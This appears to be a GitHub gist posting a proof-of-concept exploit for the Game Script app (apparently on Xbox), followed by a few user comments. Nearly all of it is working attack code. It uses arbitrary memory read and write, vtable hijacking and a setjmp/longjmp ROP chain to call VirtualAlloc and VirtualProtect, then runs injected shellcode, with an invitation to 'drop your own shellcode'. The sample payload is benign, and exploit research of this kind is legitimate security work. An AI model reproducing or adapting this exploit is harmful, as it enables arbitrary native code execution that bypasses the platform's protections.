Skip to content

Instantly share code, notes, and snippets.

@carrot-c4k3
Last active October 19, 2024 14:04
Show Gist options
  • Save carrot-c4k3/10fdb4f3d11ca568f5452bbaefdc20dd to your computer and use it in GitHub Desktop.
Save carrot-c4k3/10fdb4f3d11ca568f5452bbaefdc20dd to your computer and use it in GitHub Desktop.
Game Script native code execution PoC
// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
//
// sample shellcode: mov rax, 0x1337; ret;
// drop your own shellcode inplace here
let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]
// hex printing helper functions
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}
fn hex_to_num(s) {
var str_len = len(s)
var res = 0
for (var i = 0; i < str_len; i++)
{
res = res << 4
res = res + c2i_map[s[i]]
}
return res
}
fn num_to_hex(num, byte_count) {
if (byte_count > 8) {
byte_count = 8
}
var res = ""
for (var i = 0; i < byte_count * 2; i++) {
var idx = (num >> (4 * i)) & 15
res = i2c_map[idx] + res
}
return res
}
fn num_to_hex8(num) {
return num_to_hex(num, 1)
}
fn num_to_hex16(num) {
return num_to_hex(num, 2)
}
fn num_to_hex32(num) {
return num_to_hex(num, 4)
}
fn num_to_hex64(num) {
return num_to_hex(num, 8)
}
fn hex_dump(addr, count) {
for (var i = 0; i < count; i++) {
if (i > 0 && (i % 16) == 0) {
printConsole("\n")
}
var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i)
printConsole(num_to_hex8(cur_byte) + " ")
}
}
fn array_fill(arr) {
var arr_len = len(arr)
for (var i = 0; i < arr_len; i++) {
arr[i] = 0x41
}
}
fn round_down(val, bound) {
return floor(val - (val % bound))
}
fn array_compare(a1, a2) {
if (len(a1) != len(a2)) {
return false
}
var arr_len = len(a1)
for (var i = 0; i < arr_len; i++) {
if (a1[i] != a2[i]) {
return false
}
}
return true
}
// shorthand helpers for memory access
fn write8(addr, val) {
pointerSetUnsignedInteger8Bit(0, addr, val)
}
fn read8(addr) {
return pointerGetUnsignedInteger8Bit(0, addr)
}
fn write16(addr, val) {
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
}
fn read16(addr) {
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
}
fn write32(addr, val) {
pointerSetAtOffsetUnsignedInteger(0, addr, val)
}
fn read32(addr) {
return pointerGetAtOffsetUnsignedInteger(0, addr)
}
fn write64(addr, val) {
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
}
fn read64(addr) {
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
}
fn read_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
buf[i] = read8(addr + i)
}
}
fn write_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
write8(addr+i, buf[i])
}
}
fn find_bytes(addr, max_len, pattern, buf) {
for (var i = 0; i < max_len; i++) {
read_buf(addr + i, buf)
if (array_compare(pattern, buf)) {
return addr + i
}
}
return 0
}
fn find64(addr, max_len, v) {
var offset = 0
while (1) {
var temp_val = read64(addr+offset)
if (temp_val == v) {
return addr+offset
}
offset += 8
}
return 0
}
// shorthand funcs
fn ptr_to_num(p) {
return numberFromRaw64BitUnsignedInteger(p)
}
var gs_base = 0
var ntdll_base = 0
var kernelbase_base = 0
var longjmp_ptr = 0
var setjmp_ptr = 0
var gadget_ptr = 0
fn call_native(func_ptr, rcx, rdx, r8, r9) {
// allocate our objects
var obj_ptr = globalArrayNew8Bit("call", 0x100)
var objp = ptr_to_num(obj_ptr)
var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
var vtp = ptr_to_num(vt_ptr)
var stack_size = 0x4000
var stack_ptr = globalArrayNew8Bit("stack", stack_size)
var stackp = ptr_to_num(stack_ptr)
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
var jcp = ptr_to_num(jmpctx_ptr)
// set up vtable pointers
write64(vtp+8, setjmp_ptr)
write64(objp, vtp)
// trigger vtable call
slBus_destroy(obj_ptr)
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)
// set up our rop chain
write64(stackp+stack_size-0xA0, rdx)
write64(stackp+stack_size-0x98, rcx)
write64(stackp+stack_size-0x90, r8)
write64(stackp+stack_size-0x88, r9)
write64(stackp+stack_size-0x80, 0)
write64(stackp+stack_size-0x78, 0)
write64(stackp+stack_size-0x70, func_ptr)
write64(stackp+stack_size-0x68, gs_base+0x1F13A)
write64(stackp+stack_size-0x38, 0x15151515)
write64(stackp+stack_size-0x30, gs_base+0x109C4A)
write64(stackp+stack_size-0x28, jcp)
write64(stackp+stack_size-0x20, longjmp_ptr);
// set up the vtable and setjmp context
write64(vtp+8, longjmp_ptr)
write64(objp, vtp)
write64(objp+0x10, stackp+stack_size-0xA0)
write64(objp+0x50, gadget_ptr)
// trigger vtable call
slBus_destroy(obj_ptr)
var ret_val = read64(stackp+stack_size-0x68)
// clean up our objects
globalArrayDelete("call")
globalArrayDelete("vtable")
globalArrayDelete("stack")
globalArrayDelete("jctx")
return ret_val
}
fn find_module_base(addr) {
var search_addr = round_down(addr, 0x10000)
while (1) {
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(search_addr, magic_read)
if (array_compare(magic_static, magic_read)) {
return search_addr
}
search_addr -= 0x10000
}
return 0
}
fn get_dll_exports(base_addr) {
var res = {}
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(base_addr, magic_read)
if (!array_compare(magic_static, magic_read)) {
printConsole("Magic is invalid!\n")
return res
}
var e_lfanew = read32(base_addr+0x3c)
var exports_addr = base_addr + read32(base_addr+e_lfanew+0x70+0x18)
var num_funcs = read32(exports_addr+0x14)
var num_names = read32(exports_addr+0x18)
var funcs_addr = base_addr + read32(exports_addr+0x1c)
var names_addr = base_addr + read32(exports_addr+0x20)
var ords_addr = base_addr + read32(exports_addr+0x24)
for (var i = 0; i < num_names; i++) {
var name_addr = base_addr + read32(names_addr + (4 * i))
var name_str = pointerGetSubstring(0, name_addr, 0x20)
var ordinal = read16(ords_addr + (2 * i))
var func_addr = base_addr + read32(funcs_addr + (4 * ordinal))
res[name_str] = func_addr
}
return res
}
var VirtualAlloc_ptr = 0
var VirtualProtect_ptr = 0
fn map_code(code) {
var code_addr = call_native(VirtualAlloc_ptr, 0, 0x100000, 0x3000, 4)
write_buf(code_addr, code)
var oldp_ptr = globalArrayNew8Bit("oldp", 0x100)
var oldpp = ptr_to_num(oldp_ptr)
call_native(VirtualProtect_ptr, code_addr, 0x100000, 0x20, oldpp)
return code_addr
}
// create and dump our object to the terminal
var slbus_ptr = slBus_create()
var slp = numberFromRaw64BitUnsignedInteger(slbus_ptr)
// get the base of the GameScript module via the vtable
gs_base = read64(slp) - 0x16faf8
// find base addresses of ntdll and kernelbase
ntdll_base = find_module_base(read64(gs_base + 0x125398))
kernelbase_base = find_module_base(read64(gs_base + 0x1253A0))
// find longjmp and setjmp for call_native
var setjmp_bytes = [0x48,0x89,0x11,0x48,0x89,0x59,0x08,0x48,0x89,0x69,0x18,0x48,0x89,0x71,0x20,0x48]
var longjmp_bytes = [0x48,0x8B,0xC2,0x48,0x8B,0x59,0x08,0x48,0x8B,0x71,0x20,0x48,0x8B,0x79,0x28,0x4C]
var tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
setjmp_ptr = find_bytes(ntdll_base, 0x217000, setjmp_bytes, tmp_bytes)
longjmp_ptr = find_bytes(ntdll_base, 0x217000, longjmp_bytes, tmp_bytes)
// find one of our gadgets in ntdll
var gadget_bytes = [0x5A,0x59,0x41,0x58,0x41,0x59,0x41,0x5A,0x41,0x5B,0xC3]
tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0]
gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)
// get the ntdll & kernel base exports and find VirtualAlloc/Protect
var kernelbase_exports = get_dll_exports(kernelbase_base)
var ntdll_exports = get_dll_exports(ntdll_base)
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]
// map our shellcode
var shellcode_addr = map_code(shellcode)
var shellcode_ret = call_native(shellcode_addr, 0, 0, 0, 0)
printConsole("Shellcode return value: " + num_to_hex64(shellcode_ret) + "\n")
@kgabis
Copy link

kgabis commented Jun 22, 2024

Also, pinging @kgabis since Game Script on Xbox used his Ape scripting language. 😃 (sorry, @kgabis, this code was not my intention 2 years ago! 😄)

I did not expect ape to be used in such a fun way, for a moment I was worried that's a bug in my code 😂

@Sergb1970
Copy link

Tell me how to clear the window of Game Script from the previous script.
I can't insert a new one.

@kernaltrap8
Copy link

Tell me how to clear the window of Game Script from the previous script. I can't insert a new one.

click on the text window until the virtual keyboard pops up, then insert a usb keyboard and hit CTRL+A and backspace

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment